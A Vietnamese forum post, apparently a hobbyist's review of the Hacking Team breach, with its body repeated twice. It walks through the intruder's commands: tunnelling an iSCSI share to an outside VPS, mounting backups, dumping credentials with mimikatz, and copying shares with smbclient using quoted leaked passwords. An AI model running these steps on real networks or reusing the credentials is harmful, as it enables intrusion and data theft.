[Phần 2] Hacking Team bị hack như thế nào?
1. Files Backup
Sau khi đã xâm nhập được vào mạng nội bộ thành công, tác giả sử dụng nmap và Responder.py để lấy thông tin về các thiết bị trong mạng nội bộ. Và tác giả dường như đã tìm được thông tin hữu ích
iSCSI là internet SCSI (Small Computer System Interface) là một chuẩn công nghiệp phát triển cho phép truyền tải các lệnh SCSI qua mạng IP hiện có bằng cách sử dụng giao thức TCP/IP. Các lệnh SCSI và đóng gói dữ liệu có thể truyền qua mạng cục bộ (mạng LAN) hoặc qua cả mạng diện rộng (WAN).
Ở đây tác giả đã phát hiện được các thiết bị sử dụng iSCSI dùng để lưu trữ dữ liêu qua mạng LAN.
Để ý rằng kết quả quét cho thấy các thiết bị iSCSI đều “No authentication required”-không cần xác thực nên có thể khai thác từ đây.
Hệ thống iSCSI ở đây gồm có iSCSI target và iSCSI initiator. Các target là nơi lưu trữ còn các initiator dùng để truy cập dữ liệu.
Tác giả cần một máy có thể dùng làm initiator, máy nhúng không làm được điểu này, vì vậy tác giả forward cổng sang một VPS để sử dụng.
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
Ở đây máy nhúng sẽ thiết lập 2 kết nối, một đến VPS qua cổng 42838 và một đến thiết bị iSCSI qua cổng 3260 (xem hình trên).
VPS: tgcd -L -p 3260 -q 42838
Câu lệnh có tác dụng mỗi khi VPS tạo kết nối local qua cổng 3260 thì kết nối sẽ forward sang cổng 42838 kết nối với máy nhúng. Máy nhúng sẽ như trung gian chuyển kết nối tới thiết bị iscsc qua cổng 3260 (cổng chạy dịch vụ iSCSI).
Tìm kiếm iSCSI target:
iscsiadm -m discovery -t sendtargets -p 127.0.0.1
iscsiadm là câu lệnh để sử dụng dịch vụ iSCSI. Tùy chọn –m discovery –t sendtargets dùng để báo cho target có địa chỉ ip được xác định trong –p có thể thông báo thông tin của mình (tên). Do đã dùng tgcd forward cổng sang VPS nên ở VPS ta phải để là localhost (127.0.0.1).
Và giờ ta tìm thấy tên target: iqn.2000-01.com.synology.
Và giờ ta chỉ cần đăng nhập vào để đọc dữ liệu. Tuy nhiên có vấn đề xảy ra ở đây. Do forward cổng để chạy iscsi nhưng ta vẫn phải đăng nhập và thiết bị iscsi có địa chỉ IP là 192.168.200.72, địa chỉ này phải được chỉ rõ trong câu lệnh đăng nhập. Tuy nhiên khi đó VPS sẽ hiểu nhầm rằng mình phải tạo kết nối đến địa chỉ này (192.168.200.72), do đó không thể gửi lệnh này đến máy nhúng (phải là 127.0.0.1).
Cách giải quyết của tác giả là dùng iptables:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
Ez: chuyển tất cả các gói tin có địa chỉ đích là 192.168.200.72 đến địa chỉ IP 127.0.0.1.
Và giờ đã có thể đăng nhập iscsi:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 –login
Như đã tìm thấy ở trên, hệ thống iSCSI này không cần xác thực, do đó ta đăng nhập mà không cần tài khoản mật khẩu nhé.
Sau khi đăng nhập vào thiết bị iSCSI và mount các file dữ liệu backup đề đọc với câu lệnh:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
tác giả đã tìm ra các file backup của nhiều máy ảo.
Focus vào máy ảo Exchange server – một dạng máy chủ mail của Microsoft:
Để đọc đĩa cứng của máy ảo Exchange server ta thực hiện các thao tác:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
Đĩa chỉ offset 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
Sau khi đã đọc được ổ đĩa máy Exchange server, tiếp tục tìm tòi trong /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 tác giả lại tìm thấy ổ đĩa của máy ảo. Tiếp tục mount phân vùng 1 của ổ đĩa ảo này ra:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
đọc phân vùng 1 và tìm thấy các file từ Exchange server.
“ and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1”
2. Khai thác files backup
Tác giả muốn tìm kiếm từ các backup để lấy các thông tin nhằm sử dụng để truy cập vào các server hiện tại. Hiện tại đã có được các file từ máy chủ Exchange server là một máy chạy Windows. Trong đó ta có registry– cơ sở dữ liệu lưu trữ thông tin về phần cứng, phần mềm, người sử dụng – và tất nhiên sẽ chứa các thông tin về tài khoản xác thức thực bảo mật dùng để đăng nhập (LSA – Local Security Authority) của máy tính windows.
Để lấy được các thông tin đó từ registry, tác giả sử dụng các tool pwdump, cachedump, và lsadump (https://github.com/Neohapsis/creddump7) trên registry. Tác giả đã tìm được mật khẩu của tài khoản Admin của BlackBerry Enterprise Server :0
Hệ thống này có một tài khoản admin mặc định là bseadmin. Vậy là ta có một tài khoản để truy cập hệ thống (mạng LAN chạy windows nhé)
Sau khi test thử bằng smbclient:
Proxychain -ssmbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
- smbclient: công cụ để trao đổi file chia sẻ từ một máy tính, có thế lấy file từ một server về máy client. Có thể dùng để kiểm tra kết nối tới một máy Windows chia sẻ. Tác giả dùng để test tài khoản mình lấy được xem còn dùng được không.
- proxychain: chạy chương trình qua proxy server, dùng để truy cập internet qua sự hạn chế của firewall, che dấu IP và truy cập mạng nội bộ từ ngoài qua reverse proxy.
Và thật may mắn nó còn hoạt động và là một tài khoản local admin.
Khi đã có một tài khoản local admin, tác giả dùng metasploit tác để khai thác. Metasploit với module mimikatz/kiwi có một trong những tính năng lớn nhất là khả năng trích xuất mật khẩu dạng cleartext của người dùng Windows lưu trong registry. Với tài khoản local admin, tác giả lấy được một session dùng để khai thác và di chuyển sang một máy tính 64 bit, chạy module kiwi “load kiwi” và dùng creds_wdigest lấy mật khẩu người dùng. Kết quả là tác giả có được nhiều tài khoản trong đó có tài khoản domain admin cuả mạng máy tính. Ta có thể dùng tài khoản này để truy cập vào tất cả máy tính trong cùng domain này.
3. Lấy cắp các tài liệu
a) Các phương thức thăm dò nội bộ:
Dùng PowerSploit- một bộ sưu tập các module Microsoft PowerShell có thể được sử dụng để hỗ trợ thử nghiệm thâm nhập. Đây là một trợ thủ đắc lực cho việc khai tấn công và khai thác các máy tính windows dùng PowerShell.
- Lấy danh sách các file
Với một tài khoản domain admin, bạn có thể tải về danh sách toàn bộ các tên file trong mạng với “Powerview” – một module trong PowerSploit.
- Đọc email
Có thể dùng powershell để tải toàn bộ email về đọc.
- Đọc các sharepoint
Tương tự như email, các sharepoint cũng là nơi chứa nhiều thông tin hữu ích.
- Active directory
Active Directory (AD) hay còn gọi là dịch vụ thư mục directory service, nơi lưu trữ thông tin về các đối tượng ( objects) như user, group,computers… trong một hệ thống mạng máy tính . Active Directory giúp người quản trị dễ dàng quản lý và tìm kiếm các đối tượng này.. Với tài khoản admin, bạn có thể lấy tất cả thông tin về Active directory.
- Do thám các nhân viên trong mạng
Cài đặt keylogger vào máy tính của các nhân viên quan trọng có thể lấy nhiều thông tin quan trọng.
b) Điều tác giả đã làm
Với tài khoản domain admin, tác giả bắt đầu lấy các thông tin, bắt đầu từ email.
Sử dụng PowerShell để download các email cũ. Bỏ ra vài tuần nghiên cứu lỗi xử lý ngày tháng trên PowerShell sau đó trở lại để lấy các mail mới.
Dùng dịch vụ smbclient với tùy chọn -tc để tải các file được chia sẻ về. Tác giả đã tải được các thư mục Amministrazione, FAE DiskStation, và FileServer theo cách đó.
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
-U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
Với mục đích truy cập vào hệ thống "Rete Sviluppo" - một mạng máy tính riêng biệt chứa mã nguồn của RCS (Remote control system- sản phẩm của HT), tác giả đã giám sát máy tính của các nhân viên Hacking Team qua các việc nghe lén Mauro Romeo và Christian.
Pozzi:
Từ đó biết được Christian Pozzi- một nhân viên thuộc hê thống phát triển HT- có một ổ đĩa cứng mã hóa bằng Truecrypt. Tác giả đợi đến khi anh ta đọc nó và đã copy các file trong đó có một file văn bản chứa nhiều mật khẩu. Một trong số đó là cho máy chủ Fully Automated Nagios dùng để truy cập vào hệ thống "Rete Sviluppo".
Ngoài ra, với việc truy cập được vào email của các nhân viên HT, tác giả còn phát hiện Daniele Milan – “senior security engineer” của HT truy cập Git Repo – nơi lưu trữ các project. Một lần nữa dùng metasploit - mimikatz để lấy tài khoản windows của anh ta (creds_wdigest trong module kiwi của mimikatz). Thử tài khoản này trên git server và nó hoạt động. Với tài khoản twitter của HT thì chỉ việc dùng chức năng 'forgotpassword' để truy cập và post các thứ hay ho như mọi người đã thấy trong vụ hack.
Done! Bài “review” của em tới đây là hết chữ
Bài viết còn nhiều sai sót! Các bác cứ thẳng thắn góp ý giúp em với ạ!
Sau khi đã xâm nhập được vào mạng nội bộ thành công, tác giả sử dụng nmap và Responder.py để lấy thông tin về các thiết bị trong mạng nội bộ. Và tác giả dường như đã tìm được thông tin hữu ích
iSCSI là internet SCSI (Small Computer System Interface) là một chuẩn công nghiệp phát triển cho phép truyền tải các lệnh SCSI qua mạng IP hiện có bằng cách sử dụng giao thức TCP/IP. Các lệnh SCSI và đóng gói dữ liệu có thể truyền qua mạng cục bộ (mạng LAN) hoặc qua cả mạng diện rộng (WAN).
Ở đây tác giả đã phát hiện được các thiết bị sử dụng iSCSI dùng để lưu trữ dữ liêu qua mạng LAN.
Để ý rằng kết quả quét cho thấy các thiết bị iSCSI đều “No authentication required”-không cần xác thực nên có thể khai thác từ đây.
Hệ thống iSCSI ở đây gồm có iSCSI target và iSCSI initiator. Các target là nơi lưu trữ còn các initiator dùng để truy cập dữ liệu.
Tác giả cần một máy có thể dùng làm initiator, máy nhúng không làm được điểu này, vì vậy tác giả forward cổng sang một VPS để sử dụng.
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
Ở đây máy nhúng sẽ thiết lập 2 kết nối, một đến VPS qua cổng 42838 và một đến thiết bị iSCSI qua cổng 3260 (xem hình trên).
VPS: tgcd -L -p 3260 -q 42838
Câu lệnh có tác dụng mỗi khi VPS tạo kết nối local qua cổng 3260 thì kết nối sẽ forward sang cổng 42838 kết nối với máy nhúng. Máy nhúng sẽ như trung gian chuyển kết nối tới thiết bị iscsc qua cổng 3260 (cổng chạy dịch vụ iSCSI).
Tìm kiếm iSCSI target:
iscsiadm -m discovery -t sendtargets -p 127.0.0.1
iscsiadm là câu lệnh để sử dụng dịch vụ iSCSI. Tùy chọn –m discovery –t sendtargets dùng để báo cho target có địa chỉ ip được xác định trong –p có thể thông báo thông tin của mình (tên). Do đã dùng tgcd forward cổng sang VPS nên ở VPS ta phải để là localhost (127.0.0.1).
Và giờ ta tìm thấy tên target: iqn.2000-01.com.synology.
Và giờ ta chỉ cần đăng nhập vào để đọc dữ liệu. Tuy nhiên có vấn đề xảy ra ở đây. Do forward cổng để chạy iscsi nhưng ta vẫn phải đăng nhập và thiết bị iscsi có địa chỉ IP là 192.168.200.72, địa chỉ này phải được chỉ rõ trong câu lệnh đăng nhập. Tuy nhiên khi đó VPS sẽ hiểu nhầm rằng mình phải tạo kết nối đến địa chỉ này (192.168.200.72), do đó không thể gửi lệnh này đến máy nhúng (phải là 127.0.0.1).
Cách giải quyết của tác giả là dùng iptables:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
Ez: chuyển tất cả các gói tin có địa chỉ đích là 192.168.200.72 đến địa chỉ IP 127.0.0.1.
Và giờ đã có thể đăng nhập iscsi:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 –login
Như đã tìm thấy ở trên, hệ thống iSCSI này không cần xác thực, do đó ta đăng nhập mà không cần tài khoản mật khẩu nhé.
Sau khi đăng nhập vào thiết bị iSCSI và mount các file dữ liệu backup đề đọc với câu lệnh:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
tác giả đã tìm ra các file backup của nhiều máy ảo.
Focus vào máy ảo Exchange server – một dạng máy chủ mail của Microsoft:
Để đọc đĩa cứng của máy ảo Exchange server ta thực hiện các thao tác:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
Đĩa chỉ offset 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
Sau khi đã đọc được ổ đĩa máy Exchange server, tiếp tục tìm tòi trong /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 tác giả lại tìm thấy ổ đĩa của máy ảo. Tiếp tục mount phân vùng 1 của ổ đĩa ảo này ra:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
đọc phân vùng 1 và tìm thấy các file từ Exchange server.
“ and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1”
2. Khai thác files backup
Tác giả muốn tìm kiếm từ các backup để lấy các thông tin nhằm sử dụng để truy cập vào các server hiện tại. Hiện tại đã có được các file từ máy chủ Exchange server là một máy chạy Windows. Trong đó ta có registry– cơ sở dữ liệu lưu trữ thông tin về phần cứng, phần mềm, người sử dụng – và tất nhiên sẽ chứa các thông tin về tài khoản xác thức thực bảo mật dùng để đăng nhập (LSA – Local Security Authority) của máy tính windows.
Để lấy được các thông tin đó từ registry, tác giả sử dụng các tool pwdump, cachedump, và lsadump (https://github.com/Neohapsis/creddump7) trên registry. Tác giả đã tìm được mật khẩu của tài khoản Admin của BlackBerry Enterprise Server :0
Hệ thống này có một tài khoản admin mặc định là bseadmin. Vậy là ta có một tài khoản để truy cập hệ thống (mạng LAN chạy windows nhé)
Sau khi test thử bằng smbclient:
Proxychain -ssmbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
- smbclient: công cụ để trao đổi file chia sẻ từ một máy tính, có thế lấy file từ một server về máy client. Có thể dùng để kiểm tra kết nối tới một máy Windows chia sẻ. Tác giả dùng để test tài khoản mình lấy được xem còn dùng được không.
- proxychain: chạy chương trình qua proxy server, dùng để truy cập internet qua sự hạn chế của firewall, che dấu IP và truy cập mạng nội bộ từ ngoài qua reverse proxy.
Và thật may mắn nó còn hoạt động và là một tài khoản local admin.
Khi đã có một tài khoản local admin, tác giả dùng metasploit tác để khai thác. Metasploit với module mimikatz/kiwi có một trong những tính năng lớn nhất là khả năng trích xuất mật khẩu dạng cleartext của người dùng Windows lưu trong registry. Với tài khoản local admin, tác giả lấy được một session dùng để khai thác và di chuyển sang một máy tính 64 bit, chạy module kiwi “load kiwi” và dùng creds_wdigest lấy mật khẩu người dùng. Kết quả là tác giả có được nhiều tài khoản trong đó có tài khoản domain admin cuả mạng máy tính. Ta có thể dùng tài khoản này để truy cập vào tất cả máy tính trong cùng domain này.
3. Lấy cắp các tài liệu
a) Các phương thức thăm dò nội bộ:
Dùng PowerSploit- một bộ sưu tập các module Microsoft PowerShell có thể được sử dụng để hỗ trợ thử nghiệm thâm nhập. Đây là một trợ thủ đắc lực cho việc khai tấn công và khai thác các máy tính windows dùng PowerShell.
- Lấy danh sách các file
Với một tài khoản domain admin, bạn có thể tải về danh sách toàn bộ các tên file trong mạng với “Powerview” – một module trong PowerSploit.
- Đọc email
Có thể dùng powershell để tải toàn bộ email về đọc.
- Đọc các sharepoint
Tương tự như email, các sharepoint cũng là nơi chứa nhiều thông tin hữu ích.
- Active directory
Active Directory (AD) hay còn gọi là dịch vụ thư mục directory service, nơi lưu trữ thông tin về các đối tượng ( objects) như user, group,computers… trong một hệ thống mạng máy tính . Active Directory giúp người quản trị dễ dàng quản lý và tìm kiếm các đối tượng này.. Với tài khoản admin, bạn có thể lấy tất cả thông tin về Active directory.
- Do thám các nhân viên trong mạng
Cài đặt keylogger vào máy tính của các nhân viên quan trọng có thể lấy nhiều thông tin quan trọng.
b) Điều tác giả đã làm
Với tài khoản domain admin, tác giả bắt đầu lấy các thông tin, bắt đầu từ email.
Sử dụng PowerShell để download các email cũ. Bỏ ra vài tuần nghiên cứu lỗi xử lý ngày tháng trên PowerShell sau đó trở lại để lấy các mail mới.
Dùng dịch vụ smbclient với tùy chọn -tc để tải các file được chia sẻ về. Tác giả đã tải được các thư mục Amministrazione, FAE DiskStation, và FileServer theo cách đó.
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
-U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
Với mục đích truy cập vào hệ thống "Rete Sviluppo" - một mạng máy tính riêng biệt chứa mã nguồn của RCS (Remote control system- sản phẩm của HT), tác giả đã giám sát máy tính của các nhân viên Hacking Team qua các việc nghe lén Mauro Romeo và Christian.
Pozzi:
Từ đó biết được Christian Pozzi- một nhân viên thuộc hê thống phát triển HT- có một ổ đĩa cứng mã hóa bằng Truecrypt. Tác giả đợi đến khi anh ta đọc nó và đã copy các file trong đó có một file văn bản chứa nhiều mật khẩu. Một trong số đó là cho máy chủ Fully Automated Nagios dùng để truy cập vào hệ thống "Rete Sviluppo".
Ngoài ra, với việc truy cập được vào email của các nhân viên HT, tác giả còn phát hiện Daniele Milan – “senior security engineer” của HT truy cập Git Repo – nơi lưu trữ các project. Một lần nữa dùng metasploit - mimikatz để lấy tài khoản windows của anh ta (creds_wdigest trong module kiwi của mimikatz). Thử tài khoản này trên git server và nó hoạt động. Với tài khoản twitter của HT thì chỉ việc dùng chức năng 'forgotpassword' để truy cập và post các thứ hay ho như mọi người đã thấy trong vụ hack.
Done! Bài “review” của em tới đây là hết chữ
Bài viết còn nhiều sai sót! Các bác cứ thẳng thắn góp ý giúp em với ạ!
Chỉnh sửa lần cuối bởi người điều hành: